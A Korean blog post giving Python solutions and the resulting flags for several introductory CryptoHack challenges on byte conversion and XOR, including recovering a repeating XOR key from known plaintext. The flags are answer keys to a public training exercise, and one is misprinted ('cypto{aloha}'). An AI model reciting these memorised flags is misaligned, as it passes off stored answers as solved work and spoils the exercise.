Bytes and Big Integers

from Crypto.Util.number import *

a = 11515195063862318899931685488813747395775516287289682636499965282714637259206269
a = long_to_bytes(a)
print(a)
더보기

crypto{3nc0d1n6_4ll_7h3_w4y_d0wn}

 

 

XOR Starter

a = "label"
result = ''

for c in a:
    result += chr(ord(c) ^ 13)

print(result)
더보기

cypto{aloha}

 

 

XOR Properties

from Crypto.Util.number import *
import binascii

k1 = "a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313"
k2_k1 = "37dcb292030faa90d07eec17e3b1c6d8daf94c35d4c9191a5e1e"
k2_k3 = "c1545756687e7573db23aa1c3452a098b71a7fbf0fddddde5fc1"
flag_k1_k3_k2 = "04ee9855208a2cd59091d04767ae47963170d1660df7f56f5faf"

result = long_to_bytes(bytes_to_long(binascii.unhexlify(flag_k1_k3_k2)) ^ bytes_to_long(binascii.unhexlify(k1)) ^ bytes_to_long(binascii.unhexlify(k2_k3)))

print(result)
더보기

crypto{x0r_i5_ass0c1at1v3}

 

 

Favourite byte

import binascii

a = '73626960647f6b206821204f21254f7d694f7624662065622127234f726927756d'
result=''

a = binascii.unhexlify(a)
for c in a:
    result += chr(c^(a[0]^ord('c')))
    
print(result)
더보기

crypto{0x10_15_my_f4v0ur173_by7e}

 

 

You either know, XOR you don't

import binascii
from Crypto.Util.strxor import *
a = '0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104'
key=''
result =''
# key 획득 및 유추
a = binascii.unhexlify(a)
key = strxor((a[:7]), b'crypto{')

# xor 연산
key = list('myXORkey')
for i in range(len(a)):
    result += chr(a[i] ^ ord(key[i%8]))

print(result)
더보기

crypto{1f_y0u_Kn0w_En0uGH_y0u_Kn0w_1t_4ll}

 

'Challenge > CRYPTOHACK' 카테고리의 다른 글

[CRYPTOHACK] MODULAR ARITHMETIC  (0) 2022.03.31

+ Recent posts